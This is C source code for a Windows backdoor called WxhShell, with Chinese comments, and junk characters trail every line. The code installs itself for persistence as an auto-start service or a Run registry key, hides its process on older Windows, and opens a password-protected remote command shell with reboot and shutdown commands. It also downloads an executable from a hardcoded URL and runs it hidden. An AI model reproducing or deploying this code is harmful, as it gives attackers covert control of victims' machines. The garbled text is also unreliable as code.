ULONG InheritedFromUniqueProcessId; 5Tkh6 s
} PROCESS_BASIC_INFORMATION; d'J))-*#UO
qVx0VR1:
PROCNTQSIP NtQueryInformationProcess; *[k7KG2_U
,@8>=rT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5,k&^CK}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U5%EQc-"P
lhKd<Y"
HANDLE hProcess; PKty'}KF
PROCESS_BASIC_INFORMATION pbi; 3@_je)s
VWaI!bK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UII R$,XB
if(NULL == hInst ) return 0; Kmk<
XQ.JzzY$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j8YMod=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %
=br-c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hi|'
\@3i=!
if (!NtQueryInformationProcess) return 0; +kmPQdO;*/
+UB+. 5P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gs7H9%j{U
if(!hProcess) return 0; x=gZ7$?A
Lr V)}1&5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /!ux P~2U
Rq<T2}K
CloseHandle(hProcess); mN!>BqvN
z{7&= $
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =AUR]&_B
if(hProcess==NULL) return 0; ;spuBA)[X
n(0O'nS^
HMODULE hMod; ym{?vY
h
char procName[255]; .YKQ6
unsigned long cbNeeded; m&EwX ^1-
s-J>(|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z
~:S0HDP
Da0E)
CloseHandle(hProcess); ej]^VS7w[r
Ul)2A
if(strstr(procName,"services")) return 1; // 以服务启动 8yF15['
Q+[gGe
JUF
return 0; // 注册表启动 z+C>P4c-y&
} HJ:s)As
HBXp#$dPc
// 主模块 _A;jtS)SY
int StartWxhshell(LPSTR lpCmdLine) l%oie1g l
{ ]Jq1b210
SOCKET wsl; eh&? BP?
BOOL val=TRUE; mTwz&N\
int port=0; !FX;QD@"
struct sockaddr_in door; *}$T:kTH
![18+Q\
if(wscfg.ws_autoins) Install(); 50F6jj
C7[_#1Oz
port=atoi(lpCmdLine); 5rr7lwWZ
1>[3(o3t
if(port<=0) port=wscfg.ws_port; @{:E&K1f
y4t M0h
WSADATA data; =)
$a>N
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f
nX!wN
pej/9{*xg(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b54<1\&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?kI-o0@O.
door.sin_family = AF_INET; HpC|dtro
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ks(+['*S
door.sin_port = htons(port); *RD9gIze
dP=1*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }5z6b>EI9a
closesocket(wsl); - /]ro8V$
return 1; be |k"s|6)
} xa[<k>r3
$6Lgaz
if(listen(wsl,2) == INVALID_SOCKET) { &.y:QVR,!
closesocket(wsl); 47ppyh6@
return 1; hWfJh0I
} rW0# 6
Wxhshell(wsl); Q.*qU,4);
WSACleanup(); f<=
#WV
; =ai]AYW
return 0; tx;MH5s/V
i/2OE&*O[
} (`5No:?v<
tKjPLi71
// 以NT服务方式启动 y)X;g:w
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jx9S@L`
{ M}k )Ep9
DWORD status = 0; mL?9AxO
DWORD specificError = 0xfffffff; >0k7#q}O
7hZCh,O
serviceStatus.dwServiceType = SERVICE_WIN32; 'ejuzE9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m\(4y Gj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R
rs?I,NV
serviceStatus.dwWin32ExitCode = 0; cKEf- &~
serviceStatus.dwServiceSpecificExitCode = 0; D}XyT/8G3
serviceStatus.dwCheckPoint = 0; b8P/9D7K?
serviceStatus.dwWaitHint = 0; mk2T
#I|Vyufw
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^o+2:G5z}
if (hServiceStatusHandle==0) return; zm-j FY ?
0(VH8@h`O
status = GetLastError(); BC ]^BKP
if (status!=NO_ERROR) A,ttn5Sh?
{
({zt=}r,
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8xJdK'
serviceStatus.dwCheckPoint = 0; G(~d1%(
serviceStatus.dwWaitHint = 0; qL091P\F
serviceStatus.dwWin32ExitCode = status; " ^u
serviceStatus.dwServiceSpecificExitCode = specificError; LY'_U0y4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?7 e|gpQ|
return; c9/w-u~j
} *v)JX _
}@J&yrqg
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7(rTGd0
serviceStatus.dwCheckPoint = 0; =uQCm#
serviceStatus.dwWaitHint = 0; f50qA;7k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {9vvj
} <6Q]FH!6
[]/=!?5B
// 处理NT服务事件,比如:启动、停止 y8HLrBTza
VOID WINAPI NTServiceHandler(DWORD fdwControl) {";5n7<<)
{ O+%Y1=S[WQ
switch(fdwControl) %Qgo0
{ ^N#kW-i
case SERVICE_CONTROL_STOP: 'C)^hj.
serviceStatus.dwWin32ExitCode = 0; 7Te`#"
serviceStatus.dwCurrentState = SERVICE_STOPPED; C(Ujx=G+3
serviceStatus.dwCheckPoint = 0; "(PJh\S>S
serviceStatus.dwWaitHint = 0; 3Q*K+(`{
{ QMea2q|3$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %_;q<@9)
} M7^PWC
return; [X0Wfb}{
case SERVICE_CONTROL_PAUSE: Ck8`$x&t
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^crk8O@Fw
break; H$zjN8||"
case SERVICE_CONTROL_CONTINUE:
(C*G)Aj7
serviceStatus.dwCurrentState = SERVICE_RUNNING; eUPG){"
break; '31pb9@fH
case SERVICE_CONTROL_INTERROGATE: jv>l6)
break; E@^`B9;Q7
}; yx"xbCc#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )28Jz6.I
} q4@n
pbx
,LKY?=T$z
// 标准应用程序主函数 YNA %/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {\[u2{
{ 6[,*2a8
X[_w#Hwp-
// 获取操作系统版本 *q_
.y\D
OsIsNt=GetOsVer(); >DVjO9Kf
GetModuleFileName(NULL,ExeFile,MAX_PATH); u4bPj2N8I
(2(I|O#
// 从命令行安装 ]Cnj=\'
if(strpbrk(lpCmdLine,"iI")) Install(); #x$.
o)F^0t
// 下载执行文件 8~AO~
if(wscfg.ws_downexe) { $J"}7+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "P\k_-a'
WinExec(wscfg.ws_filenam,SW_HIDE); Y,I0o{,g
} Q<B=m6~
7].tt
if(!OsIsNt) { a97A{7I&
// 如果时win9x,隐藏进程并且设置为注册表启动 [_*%
HideProc();
YqX/7b+
StartWxhshell(lpCmdLine); :]iV*zo_
} *i|O!h1St
else NlXHOUw)u
if(StartFromService()) *2N$l>ql:k
// 以服务方式启动 \gaGTc2&
StartServiceCtrlDispatcher(DispatchTable); Ug*:o d
else Os'
7h
// 普通方式启动 Rd|};-
StartWxhshell(lpCmdLine); GV#"2{t
j
EpSVHD:*
return 0; S~0 mY}
m
} Ta`=c0
,2q LiE>
J5h;~l!y
-twV?~f
=========================================== rU`#3}s
[U@#whE O
unKTa*U^q
|_/q0#"
y3@R>@$
:\9E%/aAD
" sYM3&ikyHI
DcaVT]"
#include <stdio.h> Tn,'*D@l
#include <string.h> XBe!9/'k>
#include <windows.h> W}#eQ|oCV
#include <winsock2.h> 1.U5gW/3L
#include <winsvc.h> $Q*h+)g<
#include <urlmon.h> K.4t*-<`[
+pp|Qgr 3
#pragma comment (lib, "Ws2_32.lib") =UYZ){rt9E
#pragma comment (lib, "urlmon.lib") ?ORG<11a
hZf0q 2
#define MAX_USER 100 // 最大客户端连接数 (@@t,\iF
#define BUF_SOCK 200 // sock buffer S"0<`{Gv
#define KEY_BUFF 255 // 输入 buffer 3<sYxA\?w
IOmQ1X7,
#define REBOOT 0 // 重启 (b%&DyOt
#define SHUTDOWN 1 // 关机 8sjAr.iT.
F+
qRC_C>O
#define DEF_PORT 5000 // 监听端口 VSP6osX{
]8FSs/4
#define REG_LEN 16 // 注册表键长度 @T[}]e
#define SVC_LEN 80 // NT服务名长度 nylrF"'e
mlc0XDS%
// 从dll定义API Rl90uF]8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (4=NKtA^G
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6=A
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NwbB\Wl
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k2DT+}u7G
19O /Q,9
// wxhshell配置信息 MLg+ 9y
struct WSCFG { g>)&Q>}=W
int ws_port; // 监听端口 q66!xhp;?
char ws_passstr[REG_LEN]; // 口令 sc
dU
int ws_autoins; // 安装标记, 1=yes 0=no '*H&s
char ws_regname[REG_LEN]; // 注册表键名 \g&P5
char ws_svcname[REG_LEN]; // 服务名 Hh`x>{,|S
char ws_svcdisp[SVC_LEN]; // 服务显示名 `7$0H]*6
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;zVtJG`
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {#"[h1
int ws_downexe; // 下载执行标记, 1=yes 0=no w&<-pIa`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xr'Y[E[
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AX3iB1):K
!\w@b`Iv8
}; #vCtH2
:MPWf4K2s
// default Wxhshell configuration <yzgZXxIaS
struct WSCFG wscfg={DEF_PORT, gE2k]`[j]
"xuhuanlingzhe", L5$r<t<
1, X:Z4QqT
"Wxhshell", ^-Ob($(\
"Wxhshell", +|(-7"
"WxhShell Service", :k9n
9
"Wrsky Windows CmdShell Service", d Bn/_
"Please Input Your Password: ", tDn{;ED<
1, Ca}T)]//
"http://www.wrsky.com/wxhshell.exe", $j=c;+W
"Wxhshell.exe" 6\"g,f
}; 9>,$q"M}?
Y&M}3H>E
// 消息定义模块 uFPJ}m[>5
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yneIY-g(p
char *msg_ws_prompt="\n\r? for help\n\r#>"; 40,u(4.m*
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k\(LBZ"vR
char *msg_ws_ext="\n\rExit."; pJ)PVo\cV
char *msg_ws_end="\n\rQuit."; b.HfxYt(
char *msg_ws_boot="\n\rReboot..."; trD-qi
char *msg_ws_poff="\n\rShutdown..."; D >ax<t1K
char *msg_ws_down="\n\rSave to "; Hw[(v[v
1N8gH&oF
char *msg_ws_err="\n\rErr!"; TY,5]*86I&
char *msg_ws_ok="\n\rOK!"; /4x3dwXW@
>
Q[L,I
char ExeFile[MAX_PATH]; $M%<i~VXe&
int nUser = 0; W~(4t:hp
HANDLE handles[MAX_USER]; 2P)*Y5`KBH
int OsIsNt; x[XN;W&
,pfHNK-u
SERVICE_STATUS serviceStatus; vX|i5P0)8
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0'&N?rS
h\C" ti2
// 函数声明 ^f][;>c
int Install(void); kB~KC-&O
int Uninstall(void); K(bid0Y
int DownloadFile(char *sURL, SOCKET wsh); e<F>u#d
int Boot(int flag); MP"Pqt
void HideProc(void); hH Kd+QpI
int GetOsVer(void); `s[77V>
int Wxhshell(SOCKET wsl); 7nr+X Os
void TalkWithClient(void *cs); iIrH&}2
int CmdShell(SOCKET sock); C'5b)0km
int StartFromService(void);
:)7{$OR&
int StartWxhshell(LPSTR lpCmdLine); up`.#GWm
DVNx\t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 66RqjP '2
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dC&{zNG
)0F\[Jl}
// 数据结构和表定义 q]PeS~PjF\
SERVICE_TABLE_ENTRY DispatchTable[] = gZkjh{rQ
{ r(qAe{
{wscfg.ws_svcname, NTServiceMain},
d3%1P)
{NULL, NULL} E1'|
;}/
}; k)l*L1Y4:
)1de<# qM
// 自我安装 $:&?!>H
int Install(void) 2@!Ou $W
{ U9N1)3/u
char svExeFile[MAX_PATH]; p\xi5z
HKEY key; h$\+r<
strcpy(svExeFile,ExeFile); IC5[:UZ5]
u~
%xU~v
// 如果是win9x系统,修改注册表设为自启动 *c"tW8uR
if(!OsIsNt) { 2oL~N*^C
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B^8]quOH
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hzos$1DJ
RegCloseKey(key); Fh)`A5#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V*
:Q~
^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DdAs]e|D[
RegCloseKey(key); [}p/pj=
return 0; e* 2ay1c
} OXT'$]p.*
} s+mNr3
} t?bc$,S"\(
else { G'>?/l#
#~ikR.-+Eq
// 如果是NT以上系统,安装为系统服务 F|Y}X|x8Q
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <qGVOAnz+
if (schSCManager!=0) Z]Zs"$q@
{ mv%Zh1khn/
SC_HANDLE schService = CreateService funHznRR
( ]{2Eo
schSCManager, gW0{s[}T
wscfg.ws_svcname, ZH
o#2{F
wscfg.ws_svcdisp, q ERdQ~M,
SERVICE_ALL_ACCESS, QY$Z,#V)
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l;u_4`1H
SERVICE_AUTO_START, MqA%hlq
SERVICE_ERROR_NORMAL, ;0R|#9oX_
svExeFile, ^LaOl+;S
NULL, `EFPY$9`D
NULL,
N\Nw mx
NULL, SLCV|@G
NULL, P.8CFlX
NULL 'a&( r;
); zxo0:dyw7
if (schService!=0) A'jw;{8NpF
{ l8O12
CloseServiceHandle(schService); )Fa6'M
CloseServiceHandle(schSCManager); C3m](%?
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >9?BJv2
strcat(svExeFile,wscfg.ws_svcname); y[L7=Td
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K/^70;/!.
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d5b \kR r
RegCloseKey(key); 4tZnYGvqe
return 0; 'Cc(}YY0C
} K9-?7X
} 0u,OW
CloseServiceHandle(schSCManager); fe,A\W&8
} J~\`8cds
} fi/[(RBG
Kz v*`
return 1; -Odk'{nW
} gWqO5C~h
fF~3"!1#\I
// 自我卸载 E~k_4z%M
int Uninstall(void) ;t^8lC?>V
{ oM ')NIW@
HKEY key; xKol
Ng;K-WB\
if(!OsIsNt) { >icL,n"]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rXortK#\%
RegDeleteValue(key,wscfg.ws_regname); bU(H2Fv
RegCloseKey(key); QvPG
6A]T
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ2O?Te8
RegDeleteValue(key,wscfg.ws_regname); K5oVB,z)
RegCloseKey(key); m{~p(sQL
return 0; &s]wf
} =K#12TRf
} 9)_fH6r
} =|@%5&.P
else { ZO^Y9\L
xlJ8n+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *58`}]
if (schSCManager!=0) /MHml0u
{ ~-1!?t/%
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =*ZQGM 3w
if (schService!=0) aa:97w~s0
{ &7gL&AY8
if(DeleteService(schService)!=0) { L `7~~
CloseServiceHandle(schService); ,g2oqq ?
CloseServiceHandle(schSCManager); .:<-E%
return 0; !3E
%u$-}
} gEejLyOag
CloseServiceHandle(schService); =z=$S]qN
} Hl@)j
CloseServiceHandle(schSCManager); U?%1:-#F
} K
>-)O=$s
} dc ]+1
A
01UEd8
return 1; d=q&UCC
} <